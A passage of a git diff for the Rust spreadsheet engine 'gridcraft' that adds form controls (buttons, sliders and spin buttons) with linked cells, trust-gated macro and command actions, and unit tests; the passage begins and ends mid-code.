slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] { + if let Some(v) = whole(CMD, p, key)? { + *slot = v; + } + } + c.check_numbers().map_err(|e| bad(CMD, e))?; + given = whole(CMD, p, "value")?; + } + if let Some(link) = link_param(CMD, &s.doc()?.wb, sheet, p)? { + c.link = link; + } + // New bounds pull the value in; a given value is snapped to them. + c.value = c.snap(given.map_or(c.value as f64, f64::from)); + let number = c.kind != ControlKind::Button; + let write = number && (given.is_some() || p.get("min").is_some() || p.get("max").is_some() || p.get("step").is_some()); + let (value, link) = (c.value, c.link.clone()); + let out = control_json(&c); + s.grouped("Format Control", |s| { + edit(s, |cx| { + if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) { + *slot = c; + } + Ok(()) + })?; + if write { + write_link(s, sheet, link.as_deref(), value)?; + } + Ok(out) + }) +} + +/// A button action from `macro` (with `input` and `output`) or `command` (with `params`). +fn action_param(s: &Session, cmd: &str, p: &Json) -> Result> { + if let Some(name) = str_param(p, "macro").map(str::trim).filter(|n| !n.is_empty()) { + if name.chars().count() > MAX_MACRO_NAME { + return Err(bad(cmd, "`macro` is not a macro name")); + } + let input = match str_param(p, "input").map(str::trim) { + None | Some("") => MacroInput::Selection, + Some(t) if t.eq_ignore_ascii_case("selection") => MacroInput::Selection, + Some(t) => { + let (_, body) = split_sheet(t); + if gridcraft_core::RangeRef::parse(body).is_none() { + return Err(bad(cmd, format!("`input` must be \"selection\" or a range such as B2:D9, not `{t}`"))); + } + MacroInput::Fixed(t.to_string()) + } + }; + let output = str_param(p, "output").map(str::trim).filter(|o| !o.is_empty()).map(str::to_string); + if let Some(o) = &output + && gridcraft_core::RangeRef::parse(split_sheet(o).1).is_none() + { + return Err(bad(cmd, format!("`output` must be a cell such as F2, not `{o}`"))); + } + return Ok(Some(ControlAction::Macro { name: name.to_string(), input, output })); + } + if let Some(id) = str_param(p, "command").map(str::trim).filter(|n| !n.is_empty()) { + if find_command(id).is_none() { + return Err(bad(cmd, format!("there is no command `{id}`"))); + } + let params = p.get("params").cloned().unwrap_or_else(|| json!({})); + if !params.is_object() { + return Err(bad(cmd, "`params` must be an object")); + } + let trust = s.doc()?.trust; + if let Policy::Deny(why) = macro_policy(id, ¶ms, trust) { + return Err(EngineError::Other(format!("A button can't run {id}: {why}."))); + } + return Ok(Some(ControlAction::Command { id: id.to_string(), params })); + } + Ok(None) +} + +fn assign(s: &mut Session, p: &Json) -> Result { + const CMD: &str = "control.assign"; + let (sheet, i, mut c) = find(s, CMD, p)?; + check_unlocked(s, sheet, &c)?; + if c.kind != ControlKind::Button { + return Err(bad(CMD, "only buttons run actions; a slider or spin button writes its value to its linked cell")); + } + let action = action_param(s, CMD, p)?; + if action.is_none() && bool_param(p, "clear") != Some(true) { + return Err(bad(CMD, "pass `macro` or `command` (or `clear: true` to remove the action)")); + } + c.action = action; + let out = control_json(&c); + edit(s, |cx| { + if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) { + *slot = c; + } + Ok(out) + }) +} + +fn set_value(s: &mut Session, p: &Json) -> Result { + const CMD: &str = "control.setValue"; + let (sheet, i, c) = find(s, CMD, p)?; + if c.kind == ControlKind::Button { + return Err(bad(CMD, "a button has no value; use control.press")); + } + let v = match p.get("value") { + Some(Json::Number(n)) => n.as_f64(), + Some(Json::String(t)) => t.trim().parse::().ok(), + _ => None, + } + .filter(|v| v.is_finite()) + .ok_or_else(|| bad(CMD, "`value` must be a number"))?; + let value = c.snap(v); + let label = format!("Change {}", c.kind.label()); + s.grouped(&label, |s| { + if c.value != value { + edit(s, |cx| { + if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) { + slot.value = value; + } + Ok(()) + })?; + } + write_link(s, sheet, c.link.as_deref(), value)?; + Ok(json!({"value": value})) + }) +} + +fn press(s: &mut Session, p: &Json) -> Result { + const CMD: &str = "control.press"; + let (_, _, c) = find(s, CMD, p)?; + if c.kind != ControlKind::Button { + return Err(bad(CMD, "only buttons can be pressed; use control.setValue for a slider or spin button")); + } + let name = c.display_name(); + match c.action { + None => Err(EngineError::Other(format!("'{name}' has no action. Right-click it and choose Assign Action."))), + Some(ControlAction::Macro { name: mac, input, output }) => { + let mut params = json!({"name": mac}); + if let MacroInput::Fixed(r) = input { + params["inputs"] = json!(r); + } + if let Some(o) = output { + params["output"] = json!(o); + } + for key in ["approve", "onConflict", "overwrite", "timeLimit"] { + if let Some(v) = p.get(key) { + params[key] = v.clone(); + } + } + // The macro runner gates every step with the document's trust. + crate::macros::run::run(s, &mac, ¶ms) + } + Some(ControlAction::Command { id, params }) => { + let d = s.doc()?; + let (doc, trust) = (d.uid, d.trust); + let policy = macro_policy(&id, ¶ms, trust); + let file_command = matches!(policy, Policy::NeedsPermission(_)); + let why = match policy { + Policy::Allow => None, + Policy::Ask(why) | Policy::NeedsPermission(why) => Some(why), + Policy::Deny(why) => return Err(EngineError::Other(format!("'{name}' can't run {id}: {why}."))), + }; + if let Some(why) = why { + let key = (doc, approval_key(&id, ¶ms)); + if !s.macro_approvals.contains(&key) { + if bool_param(p, "approve") != Some(true) { + return Err(EngineError::Approve(format!("Run {id} from '{name}'? It {why}."))); + } + s.macro_approvals.insert(key); + } + } + // As a macro step: only an approved file command reaches the file system, so a + // command that reads or writes a file under another parameter name can't. + let _sandbox = (!file_command).then(crate::io::ScriptSandbox::enter); + s.grouped(&name, |s| s.execute(&id, params.clone())) + } + } +} + +/// The approval key of a button's command: its id and parameters, with a prefix that keeps it +/// apart from a macro's fingerprint (canonical JSON, which starts with `{`). +fn approval_key(id: &str, params: &Json) -> String { + format!("control-command\u{0}{id}\u{0}{params}") +} + +/// After an edit: each slider and spin button whose linked cell holds a number takes that number +/// (clamped and snapped), so editing the cell moves the control. Sheets without such a control +/// are left untouched. +pub(crate) fn sync_linked_values(wb: &mut Workbook) { + for si in 0..wb.sheets.len() { + let updates: Vec<(usize, u32)> = match wb.sheet(si) { + Some(sh) if sh.controls.iter().any(|c| c.link.is_some()) => sh + .controls + .iter() + .enumerate() + .filter(|(_, c)| c.kind != ControlKind::Button) + .filter_map(|(i, c)| linked_number(wb, si, c).map(|n| (i, c.snap(n))).filter(|(_, v)| *v != c.value)) + .collect(), + _ => continue, + }; + if updates.is_empty() { + continue; + } + if let Some(sh) = wb.sheet_mut(si) { + for (i, v) in updates { + if let Some(c) = sh.controls.get_mut(i) { + c.value = v; + } + } + } + } +} diff --git a/crates/engine/src/cmd/edit/paste_special.rs b/crates/engine/src/cmd/edit/paste_special.rs index c9e296ba5..80c37618e 100644 --- a/crates/engine/src/cmd/edit/paste_special.rs +++ b/crates/engine/src/cmd/edit/paste_special.rs @@ -359,14 +359,15 @@ pub(crate) fn rewrite_all_formulas(wb: &mut gridcraft_model::Workbook, target: & } /// Runs `f` over every reference a floating object holds (a chart's series values, categories, -/// name and bubble sizes, and the source block it was made from). Every edit that moves +/// name and bubble sizes, and the source block it was made from, and a form control's linked +/// cell). Every edit that moves /// references calls it: inserting and deleting lines and cells and cut-moves (through /// [`rewrite_all_formulas`]), and renaming and deleting sheets. `f` maps a reference held by an /// object on the sheet named `host` to its new form; text that does not parse is kept. A source /// block that no longer exists is dropped. pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) { for si in 0..wb.sheets.len() { - let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty()).map(|s| s.name.clone()) else { continue }; + let Some(host) = wb.sheets.get(si).filter(|s| !s.charts.is_empty() || !s.controls.is_empty()).map(|s| s.name.clone()) else { continue }; let Some(sh) = wb.sheet_mut(si) else { continue }; let fix = |text: &str| -> String { match gridcraft_formula::parse(text) { @@ -383,5 +384,8 @@ pub(crate) fn rewrite_cell_links(wb: &mut gridcraft_model::Workbook, f: impl Fn( se.bubble_sizes = se.bubble_sizes.as_deref().map(fix); } } + for c in sh.controls.iter_mut() { + c.link = c.link.as_deref().map(fix); + } } } diff --git a/crates/engine/src/cmd/extra.rs b/crates/engine/src/cmd/extra.rs index 237b32860..8dfda7601 100644 --- a/crates/engine/src/cmd/extra.rs +++ b/crates/engine/src/cmd/extra.rs @@ -97,7 +97,7 @@ pub fn specs() -> Vec { "Bring Forward", ["Page Layout", "Arrange"], None, - "{kind: chart|image|shape|slicer, id, toFront?: bool}", + "{kind: chart|image|shape|slicer|control, id, toFront?: bool}", has_doc, |s, p| arrange(s, p, true) ), @@ -106,7 +106,7 @@ pub fn specs() -> Vec { "Send Backward", ["Page Layout", "Arrange"], None, - "{kind: chart|image|shape|slicer, id, toBack?: bool}", + "{kind: chart|image|shape|slicer|control, id, toBack?: bool}", has_doc, |s, p| arrange(s, p, false) ), @@ -116,7 +116,7 @@ pub fn specs() -> Vec { "Align", ["Page Layout", "Arrange"], None, - "{kind: chart|image|shape|slicer, ids: [..], align: left|center|right|top|middle|bottom}", + "{kind: chart|image|shape|slicer|control, ids: [..], align: left|center|right|top|middle|bottom}", has_doc, align ), diff --git a/crates/engine/src/cmd/extra/objects.rs b/crates/engine/src/cmd/extra/objects.rs index 03e8d07b2..67286f268 100644 --- a/crates/engine/src/cmd/extra/objects.rs +++ b/crates/engine/src/cmd/extra/objects.rs @@ -67,6 +67,11 @@ pub(super) fn arrange(s: &mut Session, p: &Json, forward: bool) -> Result reorder(&mut sh.slicers, i, forward, extreme); } } + "control" => { + if let Some(i) = sh.controls.iter().position(|c| c.id == id) { + reorder(&mut sh.controls, i, forward, extreme); + } + } _ => { if let Some(i) = sh.shapes.iter().position(|c| c.id == id) { reorder(&mut sh.shapes, i, forward, extreme); @@ -95,6 +100,12 @@ pub(super) fn selection_pane(s: &mut Session, _: &Json) -> Result { let name = if c.caption.is_empty() { &c.column } else { &c.caption }; v.push(json!({"kind": "slicer", "id": c.id, "name": name, "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)})); } + // Form controls paint above everything else. + for c in &sh.controls { + v.push( + json!({"kind": "control", "id": c.id, "name": c.display_name(), "at": c.anchor.cell.a1(), "anchorMode": anchor_mode_name(c.anchor.mode)}), + ); + } Ok(Json::Array(v)) } @@ -103,6 +114,7 @@ fn anchors_of<'a>(sh: &'a mut Sheet, kind: &str) -> Vec<(u32, &'a mut Anchor)> { "chart" => sh.charts.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), "image" => sh.images.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), "slicer" => sh.slicers.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), + "control" => sh.controls.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), _ => sh.shapes.iter_mut().map(|c| (c.id, &mut c.anchor)).collect(), } } diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 669dc6a62..0806f2183 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -146,13 +146,13 @@ pub fn specs() -> Vec { &with(p, "kind", json!("textBox")) )), cmd!("shape.setText", "Edit Text Box", [], None, "{id: textBox id, text: string}", has_doc, shape_set_text), - cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer, id}", has_doc, delete_object), + cmd!("object.delete", "Delete Object", [], None, "{kind: chart|image|shape|slicer|control, id}", has_doc, delete_object), cmd!( "object.move", "Move Object", [], None, - "{kind: chart|image|shape|slicer, id, at?: \"C3\", dx?, dy?, width?, height?}", + "{kind: chart|image|shape|slicer|control, id, at?: \"C3\", dx?, dy?, width?, height?}", has_doc, move_object ), @@ -161,7 +161,7 @@ pub fn specs() -> Vec { "Object Properties", [], None, - "{kind: chart|image|shape|slicer, id, mode: moveAndSize|moveOnly|absolute}", + "{kind: chart|image|shape|slicer|control, id, mode: moveAndSize|moveOnly|absolute}", has_doc, set_anchor_mode ), @@ -1180,7 +1180,7 @@ fn shape_set_text(s: &mut Session, p: &Json) -> Result { /// objects are errors, so a stale id never succeeds silently. fn object_param(s: &Session, p: &Json, cmd: &str) -> Result<(usize, ObjRef)> { let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id`"))?; - let kind = str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape or slicer"))?; + let kind = str_param(p, "kind").and_then(ObjKind::parse).ok_or_else(|| bad(cmd, "kind must be chart, image, shape, slicer or control"))?; let d = s.doc()?; let sheet = d.wb.active_sheet(); let o = ObjRef::new(kind, id); diff --git a/crates/engine/src/cmd/macros.rs b/crates/engine/src/cmd/macros.rs index 396e0e28f..37f400f05 100644 --- a/crates/engine/src/cmd/macros.rs +++ b/crates/engine/src/cmd/macros.rs @@ -28,7 +28,7 @@ pub fn specs() -> Vec { "Run Macro", [], None, - "{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}", + "{name, inputs?: {Input: \"B2:D9\"} | \"B2:D9\", output?: \"F2\" (instead of the macro's output anchor), onConflict?: ask|fail|overwrite|shiftDown|shiftRight, overwrite?: bool, approve?: bool, timeLimit?: seconds} runs as one undo step; any error rolls it all back → {macro, ran, inputs, stopped?, shifted?}", has_doc, run ), @@ -37,7 +37,7 @@ pub fn specs() -> Vec { "Check Macro", [], None, - "{name, inputs?, onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}", + "{name, inputs?, output?: \"F2\" (as macro.run), onConflict?, overwrite?, timeLimit?: seconds} validates the inputs and dry-runs the macro on the workbook (then puts everything back) → {ok (macro.run with these parameters would go ahead without a question), errors?, needsApproval?, onConflict, inputs, output?, conflicts, footprint}", has_doc, check ), @@ -55,7 +55,7 @@ pub fn specs() -> Vec { "Step Into", [], None, - "{action: start|step|continue|runTo|stop|state, name, inputs?, onConflict?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}", + "{action: start|step|continue|runTo|stop|state, name, inputs?, output?, overwrite?, approve?, timeLimit?: seconds per action (start, as macro.run), step: path (runTo), keep?: bool (stop), breakpoints?: [\"3\", \"2.1\"] (steps of the macro), breakpointsOnly?: bool (the list replaces the steps' own breakpoints)} debugs a macro one step at a time; stop keeps the changes as one undo step or rolls them back. Runs on its own, never as a step of a script or macro. Until it finishes or stops, its workbook runs only macro.debug, queries, selection and sheet changes, Go To, Find, Copy, zoom, Switch Window, Close and Stop Action (other workbooks stay editable) → {state: paused|finished|stopped|failed, current: {step, kind, command?, params?, iteration?}, lastParams, executed, changed (at most 500), changedCells, atBreakpoint?, shifted?, wroteFiles?, message?, error?}", has_doc, |s, p| crate::macros::debug::debug(s, p) ), @@ -170,7 +170,21 @@ fn rename(s: &mut Session, p: &Json) -> Result { renamed.name = to.clone(); // The whole check, size included: a longer name can take a macro past what a file holds. crate::macros::check(&renamed).map_err(EngineError::Other)?; - *m = renamed; + let from = std::mem::replace(m, renamed).name; + // Buttons that run the macro follow the new name. + let runs = |c: &gridcraft_model::FormControl| matches!(&c.action, Some(gridcraft_model::ControlAction::Macro { name, .. }) if name.eq_ignore_ascii_case(&from)); + for si in 0..cx.wb.sheets.len() { + if !cx.wb.sheet(si).is_some_and(|sh| sh.controls.iter().any(runs)) { + continue; + } + for c in cx.sheet_mut(si)?.controls.iter_mut() { + if let Some(gridcraft_model::ControlAction::Macro { name, .. }) = &mut c.action + && name.eq_ignore_ascii_case(&from) + { + *name = to.clone(); + } + } + } Ok(()) })?; Ok(json!({"name": to})) diff --git a/crates/engine/src/cmd/sheet/tabs.rs b/crates/engine/src/cmd/sheet/tabs.rs index 2f87294bb..8d8340aab 100644 --- a/crates/engine/src/cmd/sheet/tabs.rs +++ b/crates/engine/src/cmd/sheet/tabs.rs @@ -175,6 +175,7 @@ pub(super) fn move_sheet(s: &mut Session, p: &Json) -> Result { sh.images.iter_mut().for_each(|o| o.id = fresh()); sh.shapes.iter_mut().for_each(|o| o.id = fresh()); sh.slicers.iter_mut().for_each(|o| o.id = fresh()); + sh.controls.iter_mut().for_each(|o| o.id = fresh()); let at = to.min(n); // The copy gets its own copies of the sheet's names, referring to the copy. let copies: Vec = cx diff --git a/crates/engine/src/macros/policy.rs b/crates/engine/src/macros/policy.rs index a84097986..e04ea65d4 100644 --- a/crates/engine/src/macros/policy.rs +++ b/crates/engine/src/macros/policy.rs @@ -38,6 +38,7 @@ const DENIED: &[(&str, &str)] = &[ ("view.newWindow", "macros don't open, hide or show windows"), ("view.hideWindow", "macros don't open, hide or show windows"), ("view.unhideWindow", "macros don't open, hide or show windows"), + ("control.press", "macros don't press form controls"), ]; /// Commands under a denied prefix that only change the workbook. @@ -112,6 +113,7 @@ mod tests { "view.newWindow", "view.hideWindow", "view.unhideWindow", + "control.press", ] { assert!(matches!(macro_policy(id, &none, Trust::Local), Policy::Deny(_)), "{id}"); assert!(matches!(macro_policy(id, &path, Trust::FromFile), Policy::Deny(_)), "{id}"); diff --git a/crates/engine/src/macros/run.rs b/crates/engine/src/macros/run.rs index fcb6768f3..89e0cddca 100644 --- a/crates/engine/src/macros/run.rs +++ b/crates/engine/src/macros/run.rs @@ -23,7 +23,7 @@ use std::sync::Arc; use gridcraft_core::{CellRef, RangeRef, Value}; use gridcraft_formula::adjust::Edit; -use gridcraft_model::{Cell, CompareOp, InputKind, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook}; +use gridcraft_model::{Cell, CompareOp, InputKind, MAX_MACRO_REF, Macro, OnConflict, RepeatOf, Sheet, Step, StepKind, Workbook}; use serde::Serialize; use serde_json::{Value as Json, json}; @@ -1272,7 +1272,12 @@ fn objects(b: &Sheet, a: &Sheet) -> (usize, usize, usize) { let changed = b.iter().filter(|x| a.iter().any(|y| id(y) == id(x) && y != *x)).count(); (added, changed, removed) } - let parts = [count(&b.charts, &a.charts, |o| o.id), count(&b.images, &a.images, |o| o.id), count(&b.shapes, &a.shapes, |o| o.id)]; + let parts = [ + count(&b.charts, &a.charts, |o| o.id), + count(&b.images, &a.images, |o| o.id), + count(&b.shapes, &a.shapes, |o| o.id), + count(&b.controls, &a.controls, |o| o.id), + ]; parts.iter().fold((0, 0, 0), |t, p| (t.0 + p.0, t.1 + p.1, t.2 + p.2)) } @@ -1380,6 +1385,7 @@ pub fn begin(s: &mut Session, name: &str, p: &Json) -> Result { check_params(p, &m)?; let asks = gate(&m, trust)?; approve(s, &m, doc, &asks, p.get("approve").and_then(Json::as_bool).unwrap_or(false))?; + let m = with_output(m, p); let prepared = prepare(s, &m, p.get("inputs"))?; let rule = conflict_rule(p, &m)?; let time_limit_ms = time_limit(p); @@ -1480,9 +1486,21 @@ pub fn run(s: &mut Session, name: &str, p: &Json) -> Result { }) } +/// `m` with the run's `output` (a form button that sends the output elsewhere) in place of its own +/// output anchor, after the policy and the approval, which go by the macro as it is stored. The +/// anchor is resolved and checked by [`prepare`] like the macro's own, and the footprint, the +/// conflict rule and the per-step guard all work on the cells it names. +fn with_output(mut m: Macro, p: &Json) -> Macro { + if let Some(o) = p.get("output").and_then(Json::as_str).map(str::trim).filter(|o| !o.is_empty()) { + m.output.anchor = Some(o.to_string()); + } + m +} + /// Refuses run parameters that would otherwise be ignored: an input the macro doesn't have, an -/// input given as something other than reference text, and `onConflict`, `overwrite`, `approve` -/// or `timeLimit` of the wrong kind (`null` counts as not given). +/// input given as something other than reference text, `onConflict`, `overwrite`, `approve` or +/// `timeLimit` of the wrong kind, and an `output` that isn't reference text of at most +/// `MAX_MACRO_REF` characters (`null` counts as not given). pub fn check_params(p: &Json, m: &Macro) -> Result<()> { let refuse = |msg: String| Err(EngineError::Other(format!("Macro '{}': {msg}", m.name))); let names = || m.inputs.iter().map(|i| i.name.clone()).collect::>().join(", "); @@ -1515,6 +1533,12 @@ pub fn check_params(p: &Json, m: &Macro) -> Result<()> { return refuse(format!("`{k}` must be true or false.")); } } + if let Some(o) = given("output") { + let ok = o.as_str().map(str::trim).is_some_and(|t| !t.is_empty() && t.chars().count() <= MAX_MACRO_REF && !t.chars().any(char::is_control)); + if !ok { + return refuse(format!("`output` must be reference text of at most {MAX_MACRO_REF} characters, such as \"F2\" or \"Sheet2!F2\".")); + } + } if given("timeLimit").is_some_and(|v| !v.as_f64().is_some_and(|t| t > 0.0)) { return refuse("`timeLimit` must be a number of seconds above 0.".into()); } @@ -1591,7 +1615,7 @@ pub fn check(s: &mut Session, name: &str, p: &Json) -> Result { // Nothing from an unapproved macro runs, not even in a dry run. out["needsApproval"] = json!(asks); } - let prepared = match prepare(s, &m, p.get("inputs")) { + let prepared = match prepare(s, &with_output(m, p), p.get("inputs")) { Ok(pr) => pr, Err(e) => return refused(out, e.to_string()), }; diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 49c09dee5..c4c7d3d99 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5202,6 +5202,7 @@ fn a_script_cannot_switch_windows() { assert_eq!(v(&s, "A1"), Value::number(2.0)); } +mod controls; mod macros; mod objects; mod seams; diff --git a/crates/engine/src/tests/controls.rs b/crates/engine/src/tests/controls.rs new file mode 100644 index 000000000..08f2e550a --- /dev/null +++ b/crates/engine/src/tests/controls.rs @@ -0,0 +1,317 @@ +//! Form controls: buttons, sliders and spin buttons (insert, format, assign, setValue, press). + +use gridcraft_core::Value; +use gridcraft_model::{ControlAction, ControlKind, FormControl, MacroInput}; +use serde_json::{Value as Json, json}; + +use super::{s, v}; +use crate::{EngineError, Session, Trust}; + +fn id(r: &Json) -> u64 { + r["control"].as_u64().unwrap() +} + +fn control(s: &Session, id: u64) -> FormControl { + s.doc().unwrap().wb.active().unwrap().controls.iter().find(|c| c.id as u64 == id).cloned().unwrap() +} + +fn undo_len(s: &Session) -> usize { + s.doc().unwrap().undo.len() +} + +fn err(r: crate::Result) -> String { + r.unwrap_err().to_string() +} + +#[test] +fn numbers_are_whole_and_each_rule_has_its_own_error() { + let mut s = s(); + let ok = s.execute("insert.slider", json!({"at": "D2", "min": 10, "max": 50, "step": 5, "page": 10})).unwrap(); + let c = control(&s, id(&ok)); + assert_eq!((c.kind, c.min, c.max, c.step, c.page, c.value), (ControlKind::Slider, 10, 50, 5, 10, 10)); + for (p, needle) in [ + (json!({"min": 2.5}), "`min` must be a whole number from 0 to 30000"), + (json!({"min": -1}), "`min` must be a whole number"), + (json!({"max": 30001}), "`max` must be a whole number from 0 to 30000"), + (json!({"step": "two"}), "`step` must be a whole number"), + (json!({"max": 1e300}), "`max` must be a whole number"), + (json!({"min": 50, "max": 50}), "Maximum value (50) must be greater than Minimum value (50)"), + (json!({"min": 60, "max": 50}), "must be greater than Minimum"), + (json!({"step": 0}), "Incremental change must be at least 1"), + (json!({"min": 0, "max": 10, "step": 11}), "Incremental change (11) can be at most Maximum minus Minimum (10)"), + (json!({"step": 5, "page": 2}), "Page change (2) must be at least the incremental change (5)"), + (json!({"link": "not a cell"}), "isn't a cell of this workbook"), + (json!({"link": "Nowhere!A1"}), "isn't a cell of this workbook"), + (json!({"link": "A1:B2"}), "isn't a cell"), + ] { + let e = err(s.execute("insert.slider", p.clone())); + assert!(e.contains(needle), "{p}: {e}"); + } + // A spin button has no page change, so a page below the step is fine. + s.execute("insert.spinButton", json!({"step": 5, "page": 2})).unwrap(); + // Numbers in text are numbers. + let n = id(&s.execute("insert.spinButton", json!({"min": "3", "max": "9"})).unwrap()); + let c = control(&s, n); + assert_eq!((c.min, c.max, c.value), (3, 9, 3)); + // A larger step pulls a slider's default page up with it. + let n = id(&s.execute("insert.slider", json!({"max": 1000, "step": 50})).unwrap()); + let c = control(&s, n); + assert_eq!(c.page, 50); + // The model checks the same rules. + let bad = FormControl { kind: ControlKind::Spin, min: 0, max: 30_001, ..Default::default() }; + assert!(bad.check_numbers().is_err()); + assert!(FormControl { kind: ControlKind::Button, max: 0, ..Default::default() }.check_numbers().is_ok()); +} + +#[test] +fn set_value_clamps_snaps_and_writes_the_link_as_one_undo_step() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "C1", "input": "=B1*2"})).unwrap(); + let c = id(&s.execute("insert.slider", json!({"link": "B1", "min": 10, "max": 100, "step": 5})).unwrap()); + assert_eq!(control(&s, c).link.as_deref(), Some("$B$1")); + let before = undo_len(&s); + for (given, want) in [(37.0, 35.0), (38.0, 40.0), (-5.0, 10.0), (1e9, 100.0), (99.0, 100.0), (12.4, 10.0)] { + let r = s.execute("control.setValue", json!({"id": c, "value": given})).unwrap(); + assert_eq!(r["value"], json!(want as u32), "{given}"); + assert_eq!(v(&s, "B1"), Value::Number(want), "{given}"); + assert_eq!(v(&s, "C1"), Value::Number(want * 2.0), "dependents recalculate"); + assert_eq!(control(&s, c).value, want as u32); + } + assert_eq!(undo_len(&s), before + 5, "one undo step per change (99 snaps to the 100 it holds)"); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(v(&s, "B1"), Value::Number(100.0)); + assert_eq!(control(&s, c).value, 100); + // Setting the value it already has adds no step. + let n = undo_len(&s); + s.execute("control.setValue", json!({"id": c, "value": 100})).unwrap(); + assert_eq!(undo_len(&s), n); + for p in [json!({"id": c}), json!({"id": c, "value": "x"}), json!({"id": 999, "value": 1}), json!({"value": 1})] { + assert!(s.execute("control.setValue", p).is_err()); + } + // A button has no value. + let b = id(&s.execute("insert.button", json!({})).unwrap()); + assert!(err(s.execute("control.setValue", json!({"id": b, "value": 1}))).contains("control.press")); +} + +#[test] +fn editing_the_linked_cell_moves_the_control() { + let mut s = s(); + let c = id(&s.execute("insert.spinButton", json!({"link": "$B$2", "max": 20, "step": 2})).unwrap()); + s.execute("cell.set", json!({"cell": "B2", "input": "7"})).unwrap(); + assert_eq!(control(&s, c).value, 8, "snapped to the step"); + s.execute("cell.set", json!({"cell": "B2", "input": "500"})).unwrap(); + assert_eq!(control(&s, c).value, 20, "clamped"); + s.execute("cell.set", json!({"cell": "B2", "input": "text"})).unwrap(); + assert_eq!(control(&s, c).value, 20, "text leaves it where it was"); + // A new control starts at what its cell holds. + s.execute("cell.set", json!({"cell": "D4", "input": "12"})).unwrap(); + let d = id(&s.execute("insert.slider", json!({"link": "D4", "max": 20})).unwrap()); + assert_eq!(control(&s, d).value, 12); + // A linked cell on another sheet. + s.execute("home.insertSheet", json!({"name": "Data Sheet"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap(); + let e = id(&s.execute("insert.slider", json!({"link": "'Data Sheet'!a1", "value": 30})).unwrap()); + assert_eq!(control(&s, e).link.as_deref(), Some("'Data Sheet'!$A$1")); + let wb = &s.doc().unwrap().wb; + let other = wb.sheet(wb.sheet_index("Data Sheet").unwrap()).unwrap(); + assert_eq!(other.cell(gridcraft_core::CellRef::new(0, 0)).unwrap().value, Value::Number(30.0)); +} + +#[test] +fn links_follow_inserted_rows() { + let mut s = s(); + let c = id(&s.execute("insert.slider", json!({"at": "E2", "link": "B3", "value": 40})).unwrap()); + s.execute("selection.set", json!({"range": "1:1"})).unwrap(); + s.execute("home.insertRows", json!({})).unwrap(); + let ctl = control(&s, c); + assert_eq!(ctl.link.as_deref(), Some("$B$4")); + assert_eq!(ctl.anchor.cell.a1(), "E3"); + assert_eq!(v(&s, "B4"), Value::Number(40.0)); + s.execute("control.setValue", json!({"id": c, "value": 41})).unwrap(); + assert_eq!(v(&s, "B4"), Value::Number(41.0)); +} + +#[test] +fn format_and_assign() { + let mut s = s(); + let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 80})).unwrap()); + let r = s.execute("control.format", json!({"id": c, "max": 50, "name": "Rate", "horizontal": false})).unwrap(); + assert_eq!( + (r["max"].clone(), r["value"].clone(), r["name"].clone(), r["horizontal"].clone()), + (json!(50), json!(50), json!("Rate"), json!(false)) + ); + assert_eq!(v(&s, "B1"), Value::Number(50.0), "the new maximum pulls the linked value in"); + assert!(err(s.execute("control.format", json!({"id": c, "min": 50}))).contains("greater than Minimum")); + assert_eq!(control(&s, c).min, 0, "a refused change leaves the control as it was"); + s.execute("control.format", json!({"id": c, "link": ""})).unwrap(); + assert_eq!(control(&s, c).link, None); + s.execute("control.format", json!({"id": c, "value": 25})).unwrap(); + assert_eq!(v(&s, "B1"), Value::Number(50.0), "without a link nothing is written"); + // Buttons: text and action. + s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "x"}}]})).unwrap(); + let b = id(&s.execute("insert.button", json!({"text": "Go", "macro": "Fill", "input": "C2:D4", "output": "F2"})).unwrap()); + let action = control(&s, b).action; + assert_eq!(action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) })); + s.execute("control.assign", json!({"id": b, "command": "home.bold", "params": {"range": "A1"}})).unwrap(); + assert!(matches!(control(&s, b).action, Some(ControlAction::Command { ref id, .. }) if id == "home.bold")); + 